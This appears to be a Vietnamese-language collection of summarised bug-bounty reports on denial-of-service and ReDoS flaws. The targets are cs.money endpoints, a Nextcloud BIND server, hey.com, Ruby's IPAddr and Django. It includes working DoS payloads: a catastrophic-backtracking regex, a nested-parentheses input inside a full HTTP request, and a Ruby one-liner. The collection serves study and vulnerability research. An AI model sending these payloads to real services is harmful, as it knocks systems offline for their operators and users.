CS Money - ReDoS on wiki.cs.money graphQL endpoint (AND probably a kind of command injection) ReDoS

Endpoint /graphql có một query operation tên là search:

query a {
  search(q: "AAA", lang: "en") {
    _id
    weapon_id
    rarity
    collection {
      _id
      name
    }
    collection_id
  }
}

Đổi param q thành \u0000 thì response quăng lỗi cho biết input không thể chứa null byte:

{
  "errors": [
    {
      "message": "value (?=.*\u0000) must not contain null bytes",
      "locations": [
        {
          "line": 2,
          "column": 3
        }
      ],
      "path": [
        "search"
      ],
      "extensions": {
        "code": "INTERNAL_SERVER_ERROR"
      }
    }
  ],
....[Resumed]

Nếu đổi param q thành \u0000) thì response quăng lỗi cho biết rằng input sẽ được dùng làm regex pattern phục vụ cho việc filter:

{
 "errors": [
   {
     "message": "Invalid regular expression: /(?=.*X))/: Unmatched ')'",
     "locations": [
       {
         "line": 2,
         "column": 3
       }
...[Resumed]

Sử dụng payload [a-zA-Z0-9]+\\s?)+$|^([a-zA-Z0-9.'\\w\\W]+\\s?)+$\\ để gây ra DOS bằng cách gửi khoảng 100 request.

Application DOS via Specially Crafted Payload on 3d.cs.money DoS

Attacker có thể DoS application chỉ thông qua 1 request duy nhất ở endpoint https://3d.cs.money/item/default và downtime phụ thuộc vào payload sử dụng.

Request:

POST /api/skin/search HTTP/1.1
Host: 3d.cs.money
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json;charset=utf-8
Content-Length: 32
Origin: https://3d.cs.money
Connection: close
Referer: https://3d.cs.money/item/default
Cookie: __cfduid=d38bfad20d6ec52ba0a6af9014d27a2e81601313370; TEST_GROUP=2; UUID3D=to4nZuWnRSS4A7G; _ga=GA1.1.214308118.1601313374; _ga_HY7CCPCD7H=GS1.1.1601313373.1.1.1601316641.57; _gid=GA1.2.24460124.1601313377
 
{"name":"[Payload here]","item_name":"AK-47"}

Payload sử dụng là (((((()0))))). Nếu sử dụng nhiều cặp ngoặc tròn hơn chẳng hạn như ((((((()0)))))) thì downtime sẽ lâu hơn.

Info

Report này đáng lẽ không được chấp nhận do nó là DoS nhưng do chỉ dùng một request và downtime phụ thuộc vào payload nên nó được chấp nhận.

ci.nextcloud.com: CVE-2015-5477 BIND9 TKEY Vulnerability + Exploit (Denial of Service) DoS

Attacker sử dụng nmap ở domain ci.nextcloud.com:

Starting Nmap 7.40 ( https://nmap.org ) at 2017-06-08 04:12 PKT
Nmap scan report for ci.nextcloud.com (█████)
Host is up (0.077s latency).
rDNS record for █████████: ███████
Not shown: 96 filtered ports
PORT    STATE SERVICE    VERSION
22/tcp  open  tcpwrapped
53/tcp  open  tcpwrapped
80/tcp  open  tcpwrapped
443/tcp open  tcpwrapped

Và tìm thấy port 53 đang mở và chấp nhận kết nối:

──╼ $telnet
telnet> open
(to) ci.nextcloud.com 53
Trying ███...
Connected to ci.nextcloud.com.
Escape character is '^]'.

Attacker có thể khai thác CVE-2015-5477 để DoS server với PoC ở https://github.com/elceef/tkeypoc/.

Info

Việc sử dụng nmap cho một domain nào đó nhằm tìm kiếm thêm các attack surfaces khác ngoài web attacks cũng là một cách hay.

Lack of Input Validation that Can Lead Denial of Service (DOS) DoS

Attacker chỉ đơn giản là thay đổi username thành một chuỗi có nhiều ký tự và làm server trả về 500.

Tip

Mặc dù không chắc nó có thể gây ra DoS nhưng đây vẫn là một case đáng để học hỏi.

A Very long name in hey.com Can Prevent Anyone from Accessing Their Contacts and Probably Can Cause Denial of Service DoS

Bằng đổi tên người dùng thành một cái tên thật dài sử dụng endpoint https://app.hey.com/contacts/%user_id_number%/user/edit, attacker có thể DoS client-side và thậm chí có thể là server-side khi nhận được response có status code là 500 (nhưng không có gì chứng minh được rằng nó có thể gây DoS server-side).

ReDoS in IPAddr ReDoS

Researcher tìm thấy đoạn code sau trong thư viện của Ruby:

  def mask!(mask)
    case mask
    when String
      case mask
      when /\A(0|[1-9]+\d*)\z/
        prefixlen = mask.to_i

Regex này có thể bị tấn công ReDoS.

PoC:

❯ ruby -v
ruby 3.1.1p18 (2022-02-18 revision 53f5fc4236) [arm64-darwin20]
 
❯ irb
irb(main):001:0> require 'time'
=> true
irb(main):002:0> IPAddr.new("0.0.0.0/" + '1' * 50000 + '.')
# => ReDoS (and raise ArgumentError)

Tip

Có thể thấy, ReDoS vẫn là một lỗ hổng hợp lệ để report.

Tồn tại report Ruby | Report #1487889 - ReDoS in Psych | HackerOne cũng tương tự.

CVE-2024-56374: Denial-of-service Vulnerability in IPv6 Validation DoS

Researcher tìm thấy lỗ hổng trong việc validate IPv6 của Django: nó không có giới hạn trên cho độ dài chuỗi truyền vào và có thể dẫn đến DoS.